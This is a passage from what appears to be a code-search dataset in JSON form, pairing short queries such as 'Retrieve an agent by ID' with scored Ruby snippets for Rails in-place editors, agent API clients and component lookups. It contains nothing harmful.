protect_against_forgery?\n callback += \"}\"\n\n in_place_editor_options[:callback] ||= callback\n\n # update the UI with the updated attribute value\n in_place_editor_options[:on_complete] ||= \"function(transport, element) {\n if (transport && transport.status == 200) {\n new Effect.Highlight(element.id, {startcolor: \\\"#00ffff\\\"});\n element.innerHTML=transport.responseText.evalJSON().#{tag.object.class.name.demodulize.tableize.singularize}.#{method.to_s};\n } else {\n new Effect.Highlight(element.id, {startcolor: \\\"red\\\"});\n }\n }\"\n\n tag.to_content_tag(tag_options.delete(:tag), tag_options) +\n in_place_editor(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "ad73bf2e5d2aaba2b5770f8941d8084f", "score": "0.5359353", "text": "def a_textarea_editable(id, prefix, data_url, v, placeholder=\"--\")\n a_generic_editable('textarea_editable',id,prefix,data_url,v,placeholder)\n end", "title": "" }, { "docid": "20e94a718b49391c977da1d94c30a2ca", "score": "0.53513694", "text": "def in_place_rich_editor_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n # LM: Note addition of the controller option\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :controller => object.to_s.pluralize, :action => \"set_#{object}_#{method}\", :id => tag.object.id })\n tag.to_content_tag(tag_options.delete(:tag), tag_options) +\n in_place_rich_editor(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "750787f05e4abd11c1c525cc5f2420e4", "score": "0.5336293", "text": "def edit\n @title = t 'conclusion_final_review.edit_title'\n end", "title": "" }, { "docid": "31d3836c7baedaea39799a12d1deaca7", "score": "0.53268594", "text": "def in_place_editor_select_field(object, method, tag_options = {}, in_place_editor_options = {})\n object_instance = self.instance_variable_get(\"@#{object.to_s}\")\n field_id = \"#{object}_#{method}_#{object_instance.id}_in_place_editor\"\n #tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n #tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n #span_content = tag.to_content_tag(tag_options.delete(:tag), tag_options)\n alt_text = in_place_editor_options[:alt_text] || object_instance.send(method.to_s)\n span_content = \"<span id=\\\"#{field_id}\\\" class=\\\"in_place_editor_field\\\">#{alt_text}</span>\" if alt_text\n\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :action => \"set_#{object}_#{method}\", :id => object_instance.id })\n in_place_editor_options[:value] = object_instance.send(method).id\n js_content = in_place_collection_editor(field_id, in_place_editor_options)\n span_content + js_content\n end", "title": "" }, { "docid": "08ec02a3b77d998425274a71a9f42e7f", "score": "0.5325368", "text": "def edit\n # it will render a view to edit and update the post. The before_action will trigger the action to find\n # in the database the relevant post thanks to the URL hash\n # Again this action looks empty, but it’s not due to the before_action filter.\n end", "title": "" }, { "docid": "5abcfb4896ffb012568fcd2b3a284b0d", "score": "0.5321324", "text": "def a_editable(id, prefix, data_url, v,placeholder='--')\n a_generic_editable('name_editable',id,prefix,data_url,v,placeholder)\n end", "title": "" }, { "docid": "fd874b189d9db6569aedb3e98c260d6d", "score": "0.5313554", "text": "def get_edit_html()\n super()\n end", "title": "" }, { "docid": "cbb1ea14db37f2cfd1c6aa29fcccff7a", "score": "0.5310078", "text": "def edit\n\t\t#@title = Title.find(params[:id])\n\tend", "title": "" }, { "docid": "9449102b1064e349bd1b65cc039ff32c", "score": "0.5306719", "text": "def edit\n @title = t 'review.edit_title'\n end", "title": "" }, { "docid": "9f820368928f563a580293ca2474ec30", "score": "0.53003466", "text": "def edit\n\t\t#find the story based on url\n\t\t@story = Story.find(params[:id])\n\n\tend", "title": "" } ]
88c9978b51ef0766ef19e742e45c3eab
Retrieve an agent by ID
[ { "docid": "97301f1a056d94cedade39581712e343", "score": "0.6533665", "text": "def get_agent_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AgentApi.get_agent ...\"\n end\n # verify the required parameter 'id' is set\n fail ArgumentError, \"Missing the required parameter 'id' when calling AgentApi.get_agent\" if id.nil?\n # resource path\n local_var_path = \"/agent\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AgentApi#get_agent\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "2682ae18b026c6b894a6105a48383d8c", "score": "0.85101026", "text": "def find_agent(id)\n # TODO\n end", "title": "" }, { "docid": "513b67fd43ede95744b5a005d7587ce0", "score": "0.8174422", "text": "def get_agent_by_id id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get AGENTS, id)\n\t\t\t\tend", "title": "" }, { "docid": "02a9a0ea4e281d9cadf7a23b8d87f551", "score": "0.7718628", "text": "def agent(agent_id, options = {})\n get \"/agents/#{agent_id}\", options\n end", "title": "" }, { "docid": "02a9a0ea4e281d9cadf7a23b8d87f551", "score": "0.7718628", "text": "def agent(agent_id, options = {})\n get \"/agents/#{agent_id}\", options\n end", "title": "" }, { "docid": "cef953acf56e3baa90dea1b3700936f8", "score": "0.752455", "text": "def show\n @agent = find_resource(params[:id])\n end", "title": "" }, { "docid": "4ff589008630d753334a808683cb2e5d", "score": "0.71919185", "text": "def get(agent)\n agents[ agent_id(agent) ]\n end", "title": "" }, { "docid": "4ff589008630d753334a808683cb2e5d", "score": "0.71919185", "text": "def get(agent)\n agents[ agent_id(agent) ]\n end", "title": "" }, { "docid": "e0767d4300775498b0e7e42babb13a20", "score": "0.7005398", "text": "def agents_get(id, opts = {})\n data, _status_code, _headers = agents_get_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "06a845399f98f026260aed2feef0bbee", "score": "0.68768305", "text": "def info(id, options={})\n \targs = {agentId: id}.merge(options)\n \tget('agentInfo', args)\n end", "title": "" }, { "docid": "284f477e1613868e4a37c8e95d2a9dd4", "score": "0.6617897", "text": "def agent_by_name(agent_name, options = {})\n get \"/agents/name/#{agent_name}\", options\n end", "title": "" }, { "docid": "284f477e1613868e4a37c8e95d2a9dd4", "score": "0.6617897", "text": "def agent_by_name(agent_name, options = {})\n get \"/agents/name/#{agent_name}\", options\n end", "title": "" }, { "docid": "35fa4ccd3ce109bebebb20e634e2026d", "score": "0.654191", "text": "def show_agent(id)\n if @options[:agent]\n show(pid_file) if pid_file = agent_pid_file(@options[:agent])\n else\n show(agent_pid_file_from_id(@options, id))\n end\n end", "title": "" }, { "docid": "40a39812f425e6d64c51cd78ce8ff7e0", "score": "0.65036446", "text": "def get_agent(id, opts = {})\n data, _status_code, _headers = get_agent_with_http_info(id, opts)\n return data\n end", "title": "" }, { "docid": "c0dd86bc6c0a35d22481d5a3aacd221e", "score": "0.64517415", "text": "def find id\n @connection.get entity(id)\n end", "title": "" }, { "docid": "71601eb2e8c00da21a8721bc7f01b2a0", "score": "0.6439257", "text": "def info(agent_id, options={})\n args = {agentId: agent_id}.merge(options)\n get('agentInfo', args)\n end", "title": "" }, { "docid": "109f3717475cdb31fa36e25f9966efe7", "score": "0.6432548", "text": "def agents_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AgentsApi.agents_get ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling AgentsApi.agents_get\"\n end\n # resource path\n local_var_path = '/v1/agents/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainAgencyServiceV1ModelAgentDto')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AgentsApi#agents_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ef89e550d19a6bfd27596e3263b257ec", "score": "0.63742805", "text": "def find_by_id(id)\n @client.get(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "3b3ce68fe3db2acaeab02740dd9e7a11", "score": "0.6371672", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "3b3ce68fe3db2acaeab02740dd9e7a11", "score": "0.6371672", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "73abd0fcdccc4bceaddb9b665b697f59", "score": "0.6341015", "text": "def show\n \tbegin\n \t\t@agent = current_user.agents.find(params[:id])\n\n \trescue Exception => e\n \t\tflash[:notice] = \"You are not authorized to access that Agent\"\n \t\tServices::Slog.exception e\n \t\tredirect_to :root\n \tend\n end", "title": "" }, { "docid": "a628d0d491095ed1bbed2cb06a457c3d", "score": "0.6307561", "text": "def set_agent\n @agent = Agent.includes(:agent_info).find(params[:id])\n end", "title": "" }, { "docid": "ec62f2317aa1f07c2e8baff9ea3007de", "score": "0.6288802", "text": "def retrieve(id)\n call(:get, path(id))\n end", "title": "" }, { "docid": "ec62f2317aa1f07c2e8baff9ea3007de", "score": "0.6288802", "text": "def retrieve(id)\n call(:get, path(id))\n end", "title": "" }, { "docid": "19c6e8d89a2d0bda3b34db31507a35f8", "score": "0.62870854", "text": "def set_agent\n @agent = Agent.includes(:clients, :clients => :commandes).find(params[:id])\n end", "title": "" }, { "docid": "94e74348f126e62af437ec38e6dc7bd9", "score": "0.6258567", "text": "def agent\n agent_id ? agent_id.constantize.new : nil\n end", "title": "" }, { "docid": "6b8e8917f66cfb4a8803b53e36ebb5c8", "score": "0.6241237", "text": "def find_one(id)\n client.get(\"#{path}/#{id}\")\n end", "title": "" }, { "docid": "c6fd83a40845d79e537d8754629cdeef", "score": "0.6221047", "text": "def find_single(id)\n @target.get(id)\n end", "title": "" }, { "docid": "802850de1c5507d7e649b2a8a5c267a8", "score": "0.6212114", "text": "def find(id:)\n client.execute(method: :get, path: \"/#{path}/#{id}\")\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "ce948fd0583b4965d2b1e310813ec3ea", "score": "0.62074506", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "4036298f815e5b2122c34d66a78c8f1f", "score": "0.6200938", "text": "def set_agent\n @agent = Agent.find(params[:id])\n end", "title": "" }, { "docid": "db5ff3688558b8a4412a4980387668cf", "score": "0.619595", "text": "def agent\n return CabooseRets::Agent.where(:mls_id => self.mls_id).first if CabooseRets::Agent.exists?(:mls_id => self.mls_id)\n return nil\n end", "title": "" }, { "docid": "46a466d3058cf8feab2e7405dddf8af9", "score": "0.6194404", "text": "def get(id)\n request do\n response =\n connection.get id\n\n parse(response.body)\n end\n end", "title": "" }, { "docid": "46a466d3058cf8feab2e7405dddf8af9", "score": "0.6194404", "text": "def get(id)\n request do\n response =\n connection.get id\n\n parse(response.body)\n end\n end", "title": "" }, { "docid": "46a466d3058cf8feab2e7405dddf8af9", "score": "0.6194404", "text": "def get(id)\n request do\n response =\n connection.get id\n\n parse(response.body)\n end\n end", "title": "" }, { "docid": "46a466d3058cf8feab2e7405dddf8af9", "score": "0.6194404", "text": "def get(id)\n request do\n response =\n connection.get id\n\n parse(response.body)\n end\n end", "title": "" }, { "docid": "6b08ab819caf41393585c58631a65f63", "score": "0.6143865", "text": "def get_entity id\n @entities[id]\n end", "title": "" }, { "docid": "7c0a0a87620660669009e3e302cdd1dd", "score": "0.61227345", "text": "def get(id)\n @service.get(id)\n end", "title": "" }, { "docid": "2a804c72b8ae936ab413867467f533dc", "score": "0.61054933", "text": "def show\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html { render :json => @agent }\n format.xml { render :xml => @agent }\n end\n end", "title": "" }, { "docid": "6ef28916ec2a93d699fa75fa5998fcc1", "score": "0.6099167", "text": "def show\n @agent = Agent.find(:first,\n :include => { :agencies => :agent_affiliations },\n :conditions => { :id => params[:id] }\n )\n #@agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "7ee6eeb18f139f52f7384c6aad034c17", "score": "0.6076636", "text": "def find(id)\n @client.get(\"/evault/#{id}\")\n end", "title": "" }, { "docid": "6978c04a96b0e25c653b6edc316f4b8b", "score": "0.60704553", "text": "def show\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agent }\n end\n end", "title": "" }, { "docid": "6978c04a96b0e25c653b6edc316f4b8b", "score": "0.60704553", "text": "def show\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agent }\n end\n end", "title": "" }, { "docid": "fb95f91e77419de3589b872bfb4df460", "score": "0.6051618", "text": "def getAgentData\n agent = Agent.find_by(phone: @mat)\n if agent\n return agent\n end\n end", "title": "" }, { "docid": "296e6ea2efe7f5d9667efe37f28fe346", "score": "0.6040127", "text": "def get(id)\n fetch(object_key(id))\n end", "title": "" }, { "docid": "1be0e18e3f0cb616e72dfc8765b6a1d7", "score": "0.6035458", "text": "def find(id)\n @client.get(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "1be0e18e3f0cb616e72dfc8765b6a1d7", "score": "0.6035458", "text": "def find(id)\n @client.get(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "1be0e18e3f0cb616e72dfc8765b6a1d7", "score": "0.6035458", "text": "def find(id)\n @client.get(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "b3295b834be7f7ecbe7cdc2c1792a486", "score": "0.60223335", "text": "def get(id)\n repository.get(build_path(id))\n end", "title": "" }, { "docid": "0c190b2b1b09ef8ca1853dff29da5b96", "score": "0.6022318", "text": "def get(id)\n client.read(fhir_model, id)\n end", "title": "" }, { "docid": "2a897c27a15c9e27fa7c521be1401bec", "score": "0.601109", "text": "def find(id)\n @target\n end", "title": "" }, { "docid": "cb79fff648bfc4f80da8019b723a9004", "score": "0.60067135", "text": "def get(id)\n # \"ID\" is an internal search field for Summon, not listed in our\n # own search_field_definitions, but it works.\n results = search(id, :search_field => \"ID\")\n\n raise BentoSearch::NotFound.new(\"ID: #{id}\") if results.length == 0\n raise BentoSearch::TooManyFound.new(\"ID: #{id}\") if results.length == 0\n raise (results.error[:exception] || Exception.new(error.inspect)) if results.failed?\n\n return results.first\n end", "title": "" }, { "docid": "2278b4dadb8418111a6c039e463efbf6", "score": "0.59918886", "text": "def get_target_by_id(id)\n if id.nil?\n raise LinkemperorCustomerException.new('id should not be empty')\n end\n exec_get(\"#{@base_path}/api/v2/customers/targets/#{id}.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "3de2991e9f1b3d64df6069b4a4d8099c", "score": "0.59911346", "text": "def actor(id) $game_actors[id] end", "title": "" }, { "docid": "6f18dd9d4ed4db1ff850e9e434571e6c", "score": "0.5989197", "text": "def get(id:)\n response = client.get(path(id)).parsed_body\n new(response)\n end", "title": "" }, { "docid": "711f02eff2e8aebbd6691725238a564c", "score": "0.59780306", "text": "def set_agent\n \tbegin\n \t\t@agent = Agent.find(params[:id])\n \trescue Exception => e\n \t\tServices::Slog.exception e\n \t\tflash[:notice] = \"Sorry, <i class=\\\"icon-shuffle\\\"></i> couldn't find the agent identified by <em>#{params[:id]}</em>.\"\n \t\tredirect_to :controller => \"agents\", :action => \"index\"\n \tend\n end", "title": "" }, { "docid": "1f4a625da86ae899256a2ae2365ee834", "score": "0.5969952", "text": "def find(agent)\n return Sidekiq.redis { |c| c.hget(\"bixby:agents\", agent_id(agent)) }\n end", "title": "" }, { "docid": "d1e6df9e6651e95fc2ce981cab83fe88", "score": "0.59664744", "text": "def find_by_id(id)\n response = query(:get) do |req|\n req.url url(id: id)\n end\n json_parse(response.body)\n end", "title": "" }, { "docid": "3ce88993d31001c42a65e4de1e944bf0", "score": "0.596369", "text": "def find(id)\n get URL(uri, id)\n end", "title": "" }, { "docid": "a8a47648a31ff263573d22cc5a7d9096", "score": "0.5963296", "text": "def get id\n return make_request(\"#{self.endpoint}/#{id}\")\n end", "title": "" }, { "docid": "9f8808bd942c7b7add7019f8482658d5", "score": "0.5932531", "text": "def find(id)\n get(\"#{domain}/campaigns/#{id}\")\n end", "title": "" }, { "docid": "1efc6cfe8f53a45b61fc33d97f90a826", "score": "0.59261584", "text": "def find_by_id(client, id, options: {})\n\n self.new(parse(client.get(\"/organization_exports/#{id}\", options: options)).first, client: client)\n end", "title": "" }, { "docid": "031af1ec0cf8285649eb5676057e507d", "score": "0.59229755", "text": "def show(id)\n response = request(:get, \"/roles/#{id}.json\")\n response.first[1]\n end", "title": "" }, { "docid": "f99afc6c6f3c3fe114c456fc8a42e835", "score": "0.5917253", "text": "def get_by_id(id)\n HttpClient::Preconditions.assert_class('id', id, String)\n r = @client.request(\"/organizations/#{CGI.escape(id)}\").get\n ::Io::Flow::V0::Models::Organization.new(r)\n end", "title": "" }, { "docid": "4612d5013738d7dd904c107fe5c63380", "score": "0.5914369", "text": "def show\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @agent }\n\t format.json { render :json => @agent }\n end\n end", "title": "" }, { "docid": "fc970d755015c478d84ba61e152ef67d", "score": "0.5903414", "text": "def find id\n self.find_by_attribute(:id, id)\n end", "title": "" }, { "docid": "da6fff8d4b0631d10fef11b61eb7e6ff", "score": "0.590227", "text": "def get(id)\n multi_get([id])[id]\n end", "title": "" }, { "docid": "fb99da71adcae9ccac2f06715fca3ed3", "score": "0.58879924", "text": "def get_by_id(id)\n fetch(@database, id)\n end", "title": "" }, { "docid": "c607ed9be5f6c2235f2b777c0e648567", "score": "0.5885483", "text": "def find_by_id id\n self[id]\n end", "title": "" }, { "docid": "342168269d385ccd9051886bae551989", "score": "0.5881964", "text": "def get_by_id(id)\n self.class.get(\"/aldebaran-b2bpartners/b2bpartners/#{id}\", :basic_auth => @auth)\n end", "title": "" }, { "docid": "c1b0eb1565bc5e300f7d82f328c5c067", "score": "0.5881205", "text": "def agent_for_name(name)\n agent = nil\n @mutex.synchronize do\n agent = @agents[name]\n end\n agent\n end", "title": "" }, { "docid": "5c614311d93501a58592a34f952b26ee", "score": "0.5876833", "text": "def find(agent)\n agent_host = Sidekiq.redis { |c| c.hget(\"bixby:agents\", agent_id(agent)) }\n end", "title": "" }, { "docid": "0a700921c043897b468eef8852cbf0d2", "score": "0.5865482", "text": "def find(id)\n find_by_id(id)\n end", "title": "" }, { "docid": "0005ae7eb724127576d59f2a8a3830e1", "score": "0.5864768", "text": "def find(id)\n entity = find_entity(id.to_i)\n from_entity(entity)\n end", "title": "" }, { "docid": "a4057eca0ea38a8d83ce81bf8a1b109d", "score": "0.58632714", "text": "def find(id)\n where(id: id).first\n end", "title": "" }, { "docid": "9b6d683b5d28cfe79338bf9e00058d53", "score": "0.58603144", "text": "def retrieve(id)\n query = {\n operation: :retrieve,\n sessionName: @session_id,\n id: id\n }\n res = get_request query\n res['result']\n end", "title": "" }, { "docid": "fbcff737b29cc3fc8559b1bebbd57361", "score": "0.584921", "text": "def show\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @agent }\n end\n end", "title": "" }, { "docid": "60a35715c33b42fc972aa94dfa51c766", "score": "0.5837162", "text": "def agent_id(agent)\n return agent.id if agent.kind_of? Agent\n return agent\n end", "title": "" }, { "docid": "60a35715c33b42fc972aa94dfa51c766", "score": "0.5837162", "text": "def agent_id(agent)\n return agent.id if agent.kind_of? Agent\n return agent\n end", "title": "" }, { "docid": "4844680b1979e7d555154aade84f90ab", "score": "0.5836922", "text": "def get_entity_by_id(id)\n @entities.find { |e| e.id == id }\n end", "title": "" }, { "docid": "73003c03a3000a07a0af218db21cc5b7", "score": "0.58274853", "text": "def fetch(id)\n menus[id]\n end", "title": "" }, { "docid": "73003c03a3000a07a0af218db21cc5b7", "score": "0.58274853", "text": "def fetch(id)\n menus[id]\n end", "title": "" }, { "docid": "3127a6d0130f7439f0396d25da8b76db", "score": "0.5826368", "text": "def show\n @agent = Agent.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @agent }\n end\n end", "title": "" }, { "docid": "f4e8ddca05e22b9f40ece0d0d6ea5abd", "score": "0.58243334", "text": "def find(id)\n check_for_url\n url = full_url(arkenstone_url) + id.to_s\n response = send_request url, :get\n return nil unless Arkenstone::Network.response_is_success response\n\n build JSON.parse(response.body)\n end", "title": "" }, { "docid": "2d6f8a7cbaa264fa421d3a8387ded28b", "score": "0.582009", "text": "def get_by_id(id)\n\t\tself.find(id)\n\tend", "title": "" }, { "docid": "6127f99358303ae9625fc71d9f4448bb", "score": "0.58146995", "text": "def agents(options={})\n \tget('getAgents', options)\n end", "title": "" }, { "docid": "deba0f50e36da6f5e583d162ee743fc7", "score": "0.58133215", "text": "def retrieve_object(id)\n ident = DRI::Identifier.find_by(alternate_id: id)\n return nil unless ident\n ident.identifiable\n end", "title": "" } ]
0f8c2d17f69a27370bbf6634f62b5f30
Returns a specific component
[ { "docid": "646d720463c475c0e16fcebf71f89911", "score": "0.0", "text": "def get_component_by_hash(hash, opts = {})\n data, _status_code, _headers = get_component_by_hash_with_http_info(hash, opts)\n data\n end", "title": "" } ]
[ { "docid": "df8ac0222a308340661cf0e14538ad7b", "score": "0.808985", "text": "def component(component)\n @components[component]\n end", "title": "" }, { "docid": "359474617a4e26247eeff3172a882ff2", "score": "0.8080435", "text": "def get_component\n @component = Component.find(params[:component_id])\n end", "title": "" }, { "docid": "1a3d3ed095d8880f700364f2bceb6ba3", "score": "0.76948476", "text": "def component(name)\n components[components.index(name)]\n end", "title": "" }, { "docid": "d3f4c4bf68296faf9eb65cce3698731d", "score": "0.76763475", "text": "def component\n Component.find_by_project_id_and_component_id(project_id, component_id) unless component_id.nil?\n end", "title": "" }, { "docid": "ccf5c39368e5a63144210d785f3bc9aa", "score": "0.76751935", "text": "def component_for(component_class)\n self.components[component_class]\n end", "title": "" }, { "docid": "fda08bc4e4c58126759f1f478416b50b", "score": "0.7497936", "text": "def component(name)\n Components.component(name)\n end", "title": "" }, { "docid": "ec43197ccda825f1c956ba6cfbfa4506", "score": "0.7495968", "text": "def get_component(componentName)\n return $marathon.getComponent(ComponentId.new(componentName, nil))\nend", "title": "" }, { "docid": "6b43a69459ea3e651221d4778293c083", "score": "0.74724066", "text": "def name\n @component\n end", "title": "" }, { "docid": "81478d469d6e5a265afe13b134da147c", "score": "0.73974645", "text": "def get_component_for( entity, component_class )\n\t\tentity = entity.id if entity.respond_to?( :id )\n\t\treturn self.components_by_entity[ entity ][ component_class ]\n\tend", "title": "" }, { "docid": "912f97b69d4471e8c52adfb3ad43dd1e", "score": "0.7396024", "text": "def _component\n @component\n end", "title": "" }, { "docid": "efdf6eaaa991e87b857c80825f6af981", "score": "0.72952676", "text": "def get_component(name)\n comps = @components.select { |comp| comp.name.to_s == name.to_s }\n raise \"ERROR: two or more components with the same name: #{comps.first.name}\" if comps.size > 1\n comps.first\n end", "title": "" }, { "docid": "c874d409b84d56527d93db0a1c289ce6", "score": "0.706906", "text": "def fetch_component_choice(component)\n retrieve_component_config(destination_root('.components'))[component]\n end", "title": "" }, { "docid": "06af6a762e8903197aa235459bd92cd1", "score": "0.70599383", "text": "def component_name\n return @component_name\n end", "title": "" }, { "docid": "7dca8a102dfed4e6b58ab5a0bef51cac", "score": "0.7043277", "text": "def component(key)\n components[components.index(key)]\n end", "title": "" }, { "docid": "b6c5f851bc071b8638b396e0a16116c7", "score": "0.70111895", "text": "def get_component(entity, component_sym)\n @components[component_sym][entity]\n end", "title": "" }, { "docid": "64d5ea5ee3bcdf4e558bae2a7b4865e7", "score": "0.7010874", "text": "def find_component\n migration = name.to_s.demodulize.to_s.underscore\n slug = migration.gsub(/\\Acreate_/, '').gsub(/_component\\z/, '')\n Biovision::Components::BaseComponent.handler_class(slug)\n end", "title": "" }, { "docid": "73d8fb23410c29cd2ea8da114e915681", "score": "0.6967271", "text": "def component(path)\n execute(command_factory.create_get_component_command(path))\n end", "title": "" }, { "docid": "d8687e78040a8054938c67222fd23828", "score": "0.6960195", "text": "def selected_component\n mm = Sketchup.active_model\n ss = mm.selection\n return nil if ss.count != 1 \n cc = ss[0]\n return nil if not cc.instance_of? Sketchup::ComponentInstance\n cc\n end", "title": "" }, { "docid": "49ed21d3e251803f9489d569eb299ed5", "score": "0.69247913", "text": "def find(name)\n @components[name]\n end", "title": "" }, { "docid": "84a2702ab66cac262786d6bec736f208", "score": "0.6916008", "text": "def find\n self.class.find_by_id(self.component_key)\n end", "title": "" }, { "docid": "8c5ba8dd3b8845632f8a48a99a15a8b3", "score": "0.6912064", "text": "def [](component_name)\n\t\t@components[component_name]\n\tend", "title": "" }, { "docid": "1783a1131a0fdb630b0f1862b3ac5ea7", "score": "0.68947905", "text": "def component\n self.package\n end", "title": "" }, { "docid": "43c683e5a7d900849381ed0496673eea", "score": "0.68891484", "text": "def get_component(id, type)\n raise Morrow::UnknownEntity,\n \"unknown entity '#{id}'\" unless entity = @entities[id]\n\n index, klass = @comp_map[type]\n\n klass ||= type.is_a?(Symbol) ? Morrow.config.components[type] : type\n\n raise ArgumentError,\n 'use #get_components for non-unique Components' if klass &&\n !klass.unique?\n\n return nil unless index\n\n entity[index]\n end", "title": "" }, { "docid": "b5adb7892b95247a09711fa6aa732edc", "score": "0.6883934", "text": "def find_component(name)\n component = lookup_const(name)\n return nil if component && component < Hyperloop::Operation\n if component && !component.method_defined?(:render)\n raise \"#{name} does not appear to be a react component.\"\n end\n component\n end", "title": "" }, { "docid": "5c8d1e1ae3b2c360b7d33cc6fcd4d67e", "score": "0.6862418", "text": "def component_child_by_name component, target\n component.getComponents.each do |child_component|\n return child_component unless child_component.getName != target\n end\n return nil\n end", "title": "" }, { "docid": "fd069cef0be0c9361b126bf4bddf4d26", "score": "0.6847666", "text": "def set_component\n @component = @box.components.find(params[:id])\n end", "title": "" }, { "docid": "605fe206a1b407e97f37edb596166c9a", "score": "0.6794644", "text": "def find\n self.class.find_by_id(component_key)\n end", "title": "" }, { "docid": "53ae3d7e4a15b5c17942342cd9319522", "score": "0.6787552", "text": "def component(comp_sym)\n @components[comp_sym]\n end", "title": "" }, { "docid": "e59e7a0e54f6aff8dfe0c782b59a1721", "score": "0.67236906", "text": "def set_component\n @component = Gooey::Component.find(params[:id])\n end", "title": "" }, { "docid": "51ba519fdd9a52c5d13be5e59eb690b9", "score": "0.67169565", 